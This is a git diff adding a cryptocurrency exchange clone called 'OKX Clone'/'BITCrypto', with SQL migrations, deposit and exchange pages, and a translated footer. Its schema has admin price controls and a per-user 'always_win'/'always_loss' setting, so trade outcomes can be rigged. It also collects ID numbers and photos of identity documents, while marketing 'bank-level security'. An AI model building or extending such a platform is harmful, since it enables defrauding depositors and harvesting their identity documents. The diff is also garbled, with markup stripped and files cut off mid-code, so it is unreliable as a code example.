+
+
+
+ Buy crypto with credit card, bank transfer, or P2P.
+
+
+
+
+
+
+
diff --git a/db/migrations/01_initial_setup.sql b/db/migrations/01_initial_setup.sql
new file mode 100644
index 0000000..a611dfa
--- /dev/null
+++ b/db/migrations/01_initial_setup.sql
@@ -0,0 +1,54 @@
+CREATE TABLE IF NOT EXISTS system_config (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ config_key VARCHAR(100) UNIQUE NOT NULL,
+ config_value TEXT,
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+ updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
+);
+
+CREATE TABLE IF NOT EXISTS cryptocurrencies (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ symbol VARCHAR(20) UNIQUE NOT NULL,
+ name VARCHAR(100) NOT NULL,
+ icon_url VARCHAR(255),
+ current_price DECIMAL(30, 10) DEFAULT 0,
+ change_24h DECIMAL(10, 4) DEFAULT 0,
+ high_24h DECIMAL(30, 10) DEFAULT 0,
+ low_24h DECIMAL(30, 10) DEFAULT 0,
+ volume_24h DECIMAL(30, 10) DEFAULT 0,
+ is_active TINYINT(1) DEFAULT 1,
+ sort_order INT DEFAULT 0,
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+);
+
+CREATE TABLE IF NOT EXISTS price_controls (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ symbol VARCHAR(20) NOT NULL,
+ target_price DECIMAL(30, 10),
+ type ENUM('spike', 'target', 'win_loss') DEFAULT 'target',
+ duration INT DEFAULT 0, -- in seconds
+ is_active TINYINT(1) DEFAULT 0,
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+);
+
+CREATE TABLE IF NOT EXISTS users (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ username VARCHAR(100) UNIQUE NOT NULL,
+ email VARCHAR(255) UNIQUE NOT NULL,
+ password_hash VARCHAR(255) NOT NULL,
+ balance_usdt DECIMAL(30, 10) DEFAULT 0,
+ win_loss_control ENUM('random', 'always_win', 'always_loss') DEFAULT 'random',
+ is_admin TINYINT(1) DEFAULT 0,
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
+);
+
+-- Insert some default data
+INSERT IGNORE INTO system_config (config_key, config_value) VALUES
+('site_name', 'OKX Clone'),
+('theme_color', '#0b0e11'),
+('announcement', 'Welcome to our professional trading platform!');
+
+INSERT IGNORE INTO cryptocurrencies (symbol, name, icon_url, current_price, change_24h, high_24h, low_24h, volume_24h) VALUES
+('BTC', 'Bitcoin', 'https://cryptologos.cc/logos/bitcoin-btc-logo.png', 45231.50, 2.45, 46120.00, 44800.00, 1250000000),
+('ETH', 'Ethereum', 'https://cryptologos.cc/logos/ethereum-eth-logo.png', 2450.20, -1.20, 2510.00, 2400.00, 850000000),
+('SOL', 'Solana', 'https://cryptologos.cc/logos/solana-sol-logo.png', 98.45, 5.60, 102.00, 92.00, 450000000);
diff --git a/db/migrations/02_advanced_features.sql b/db/migrations/02_advanced_features.sql
new file mode 100644
index 0000000..098763a
--- /dev/null
+++ b/db/migrations/02_advanced_features.sql
@@ -0,0 +1,93 @@
+-- Orders table for Spot trading
+CREATE TABLE IF NOT EXISTS spot_orders (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ user_id INT NOT NULL,
+ symbol VARCHAR(20) NOT NULL,
+ side ENUM('buy', 'sell') NOT NULL,
+ type ENUM('limit', 'market') DEFAULT 'limit',
+ price DECIMAL(30, 10),
+ amount DECIMAL(30, 10) NOT NULL,
+ filled_amount DECIMAL(30, 10) DEFAULT 0,
+ status ENUM('open', 'filled', 'cancelled', 'partially_filled') DEFAULT 'open',
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+);
+
+-- Positions table for Perpetual Contracts
+CREATE TABLE IF NOT EXISTS contract_positions (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ user_id INT NOT NULL,
+ symbol VARCHAR(20) NOT NULL,
+ side ENUM('long', 'short') NOT NULL,
+ leverage INT DEFAULT 1,
+ entry_price DECIMAL(30, 10) NOT NULL,
+ size DECIMAL(30, 10) NOT NULL,
+ margin DECIMAL(30, 10) NOT NULL,
+ liquidation_price DECIMAL(30, 10),
+ unrealized_pnl DECIMAL(30, 10) DEFAULT 0,
+ status ENUM('active', 'closed', 'liquidated') DEFAULT 'active',
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+ closed_at TIMESTAMP NULL,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+);
+
+-- Carousel for Landing Page
+CREATE TABLE IF NOT EXISTS carousel (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ image_url VARCHAR(255) NOT NULL,
+ title VARCHAR(100),
+ description TEXT,
+ link_url VARCHAR(255),
+ sort_order INT DEFAULT 0,
+ is_active TINYINT(1) DEFAULT 1
+);
+
+-- Languages Table
+CREATE TABLE IF NOT EXISTS languages (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ code VARCHAR(10) UNIQUE NOT NULL, -- e.g., 'en', 'zh', 'ja', 'ko', 'ru', 'fr', 'es', 'de'
+ name VARCHAR(50) NOT NULL,
+ is_default TINYINT(1) DEFAULT 0
+);
+
+-- Translations Table
+CREATE TABLE IF NOT EXISTS translations (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ lang_code VARCHAR(10) NOT NULL,
+ trans_key VARCHAR(255) NOT NULL,
+ trans_value TEXT NOT NULL,
+ UNIQUE KEY (lang_code, trans_key)
+);
+
+-- Update system config for BITCrypto
+UPDATE system_config SET config_value = 'BITCrypto' WHERE config_key = 'site_name';
+
+-- Insert Languages
+INSERT IGNORE INTO languages (code, name, is_default) VALUES
+('en', 'English', 1),
+('zh', '简体中文', 0),
+('ja', '日本語', 0),
+('ko', '한국어', 0),
+('ru', 'Русский', 0),
+('fr', 'Français', 0),
+('es', 'Español', 0),
+('de', 'Deutsch', 0);
+
+-- Insert Carousel Data (Using placeholder images for now)
+INSERT IGNORE INTO carousel (image_url, title, description, sort_order) VALUES
+('https://images.pexels.com/photos/844124/pexels-photo-844124.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1', 'Global Leading Exchange', 'Trade BTC, ETH and 500+ assets with BITCrypto.', 1),
+('https://images.pexels.com/photos/6770610/pexels-photo-6770610.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1', 'Perpetual Contracts', 'Up to 125x leverage on major pairs.', 2),
+('https://images.pexels.com/photos/6771574/pexels-photo-6771574.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1', 'Secure & Reliable', 'Bank-level security for your digital assets.', 3),
+('https://images.pexels.com/photos/5980860/pexels-photo-5980860.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1', '24/7 Support', 'Our team is here to help you anytime.', 4),
+('https://images.pexels.com/photos/7567443/pexels-photo-7567443.jpeg?auto=compress&cs=tinysrgb&w=1260&h=750&dpr=1', 'Low Trading Fees', 'Enjoy the most competitive fees in the industry.', 5);
+
+-- Add more coins
+INSERT IGNORE INTO cryptocurrencies (symbol, name, icon_url, current_price, change_24h) VALUES
+('BNB', 'BNB', 'https://cryptologos.cc/logos/bnb-bnb-logo.png', 312.45, 1.2),
+('XRP', 'XRP', 'https://cryptologos.cc/logos/xrp-xrp-logo.png', 0.52, -0.5),
+('ADA', 'Cardano', 'https://cryptologos.cc/logos/cardano-ada-logo.png', 0.48, 2.3),
+('AVAX', 'Avalanche', 'https://cryptologos.cc/logos/avalanche-avax-logo.png', 35.60, 4.1),
+('DOT', 'Polkadot', 'https://cryptologos.cc/logos/polkadot-new-dot-logo.png', 7.20, -1.8),
+('MATIC', 'Polygon', 'https://cryptologos.cc/logos/polygon-matic-logo.png', 0.85, 0.9),
+('LINK', 'Chainlink', 'https://cryptologos.cc/logos/chainlink-link-logo.png', 18.30, 3.5),
+('DOGE', 'Dogecoin', 'https://cryptologos.cc/logos/dogecoin-doge-logo.png', 0.08, -2.1);
diff --git a/db/migrations/03_user_and_system_updates.sql b/db/migrations/03_user_and_system_updates.sql
new file mode 100644
index 0000000..0c3b64d
--- /dev/null
+++ b/db/migrations/03_user_and_system_updates.sql
@@ -0,0 +1,29 @@
+-- Migration: User and System Updates
+-- Adds UID, KYC fields, and system configuration tables
+
+ALTER TABLE users ADD COLUMN IF NOT EXISTS uid INT(6) ZEROFILL UNIQUE AFTER id;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS real_name VARCHAR(100) AFTER username;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS id_number VARCHAR(50) AFTER real_name;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS id_front VARCHAR(255) AFTER id_number;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS id_back VARCHAR(255) AFTER id_front;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS id_handheld VARCHAR(255) AFTER id_back;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS kyc_status ENUM('none', 'pending', 'approved', 'rejected') DEFAULT 'none' AFTER id_handheld;
+ALTER TABLE users ADD COLUMN IF NOT EXISTS security_password VARCHAR(255) AFTER password_hash;
+
+CREATE TABLE IF NOT EXISTS system_config (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ config_key VARCHAR(100) UNIQUE,
+ config_value TEXT
+);
+
+CREATE TABLE IF NOT EXISTS translations (
+ id INT AUTO_INCREMENT PRIMARY KEY,
+ lang_code VARCHAR(10),
+ trans_key VARCHAR(100),
+ trans_value TEXT,
+ UNIQUE KEY (lang_code, trans_key)
+);
+
+INSERT IGNORE INTO system_config (config_key, config_value) VALUES ('win_loss_rate', '50');
+INSERT IGNORE INTO system_config (config_key, config_value) VALUES ('price_control_mode', 'market');
+INSERT IGNORE INTO system_config (config_key, config_value) VALUES ('site_name', 'BITCrypto');
diff --git a/deposit.php b/deposit.php
new file mode 100644
index 0000000..4c036bd
--- /dev/null
+++ b/deposit.php
@@ -0,0 +1,124 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ USD
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 
BTC
+
+ BTC
+
+ Reference Price
+ 1 BTC ≈ 43,250.50 USD
+
+
+
+ Supported payment methods: Visa, Mastercard, Apple Pay, Google Pay.
+
+
+
+
+
+
\ No newline at end of file
diff --git a/exchange.php b/exchange.php
new file mode 100644
index 0000000..54aa94d
--- /dev/null
+++ b/exchange.php
@@ -0,0 +1,132 @@
+prepare("UPDATE users SET balance_usdt = balance_usdt - ? WHERE id = ?")->execute([$amount, $user['id']]);
+ $success = "Exchanged $amount USDT for " . number_format($receive, 6) . " $to_coin";
+ $user['balance_usdt'] -= $amount;
+ }
+ } else {
+ $error = "Only USDT to Crypto exchange is currently supported in this demo.";
+ }
+ } catch (Exception $e) {
+ $error = 'Exchange failed: ' . $e->getMessage();
+ }
+ }
+}
+?>
+
+
+
+
+
+
+
+ +
+ Assets
+ +
+
+
+
+
+
+
+
+
+
+ 
USDT
ETH
+
+
+
+
+
+
+ Deposit Tips
+ -
+
- Minimum deposit: 1 USDT +
- Average arrival: 1-3 minutes +
- Depositing from other networks may result in loss of assets. +
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Arrival
+ 1 Confirmations
+
+
+ Withdrawal
+ 3 Confirmations
+ + +
Fiat Deposit
+
+
+
+
+
+
+
+ Bank Transfer
+ 0% Fees • 1-3 Hours
+
+
+
+
+
+ Credit / Debit Card
+ Instant • Up to $5,000
+
+
+
+
+
+ Digital Wallets
+ Instant • Apple/Google Pay
+
+
+
+
+
+
\ No newline at end of file
diff --git a/includes/footer.php b/includes/footer.php
new file mode 100644
index 0000000..b56126a
--- /dev/null
+++ b/includes/footer.php
@@ -0,0 +1,111 @@
+ [
+ 'Services' => 'Services', 'Spot_Trading' => 'Spot Trading', 'Futures_Trading' => 'Futures Trading',
+ 'Support' => 'Support', 'Help_Center' => 'Help Center', 'About' => 'About', 'About_Us' => 'About Us',
+ 'Legal' => 'Legal', 'Privacy_Policy' => 'Privacy Policy', 'Terms_of_Service' => 'Terms of Service'
+ ],
+ 'zh' => [
+ 'Services' => '服务', 'Spot_Trading' => '现货交易', 'Futures_Trading' => '期货交易',
+ 'Support' => '支持', 'Help_Center' => '帮助中心', 'About' => '关于', 'About_Us' => '关于我们',
+ 'Legal' => '法律', 'Privacy_Policy' => '隐私政策', 'Terms_of_Service' => '服务条款'
+ ],
+ 'ja' => [
+ 'Services' => 'サービス', 'Spot_Trading' => '現物取引', 'Futures_Trading' => '先物取引',
+ 'Support' => 'サポート', 'Help_Center' => 'ヘルプセンター', 'About' => '概要', 'About_Us' => '会社概要',
+ 'Legal' => '法的声明', 'Privacy_Policy' => 'プライバシーポリシー', 'Terms_of_Service' => '利用規約'
+ ],
+ 'ko' => [
+ 'Services' => '서비스', 'Spot_Trading' => '현물 거래', 'Futures_Trading' => '선물 거래',
+ 'Support' => '지원', 'Help_Center' => '고객센터', 'About' => '소개', 'About_Us' => '회사 소개',
+ 'Legal' => '법적 고지', 'Privacy_Policy' => '개인정보처리방침', 'Terms_of_Service' => '이용약관'
+ ],
+ 'ru' => [
+ 'Services' => 'Сервисы', 'Spot_Trading' => 'Спот торговля', 'Futures_Trading' => 'Фьючерсы',
+ 'Support' => 'Поддержка', 'Help_Center' => 'Центр помощи', 'About' => 'О нас', 'About_Us' => 'О компании',
+ 'Legal' => 'Юридические данные', 'Privacy_Policy' => 'Политика конфиденциальности', 'Terms_of_Service' => 'Условия использования'
+ ],
+ 'fr' => [
+ 'Services' => 'Services', 'Spot_Trading' => 'Trading Spot', 'Futures_Trading' => 'Trading Futures',
+ 'Support' => 'Support', 'Help_Center' => 'Centre d\'aide', 'About' => 'À propos', 'About_Us' => 'À propos de nous',
+ 'Legal' => 'Légal', 'Privacy_Policy' => 'Politique de confidentialité', 'Terms_of_Service' => 'Conditions d\'utilisation'
+ ],
+ 'es' => [
+ 'Services' => 'Servicios', 'Spot_Trading' => 'Trading Spot', 'Futures_Trading' => 'Trading de Futuros',
+ 'Support' => 'Soporte', 'Help_Center' => 'Centro de ayuda', 'About' => 'Acerca de', 'About_Us' => 'Sobre nosotros',
+ 'Legal' => 'Legal', 'Privacy_Policy' => 'Política de privacidad', 'Terms_of_Service' => 'Términos de servicio'
+ ],
+ 'de' => [
+ 'Services' => 'Dienste', 'Spot_Trading' => 'Spot-Handel', 'Futures_Trading' => 'Futures-Handel',
+ 'Support' => 'Support', 'Help_Center' => 'Hilfe-Center', 'About' => 'Über uns', 'About_Us' => 'Über uns',
+ 'Legal' => 'Rechtliches', 'Privacy_Policy' => 'Datenschutzrichtlinie', 'Terms_of_Service' => 'Nutzungsbedingungen'
+ ]
+];
+
+function fmt($key) {
+ global $lang, $footer_translations;
+ return $footer_translations[$lang][$key] ?? ($footer_translations['en'][$key] ?? $key);
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+ Zero fees, instant settlement
+ + + + + + + + + +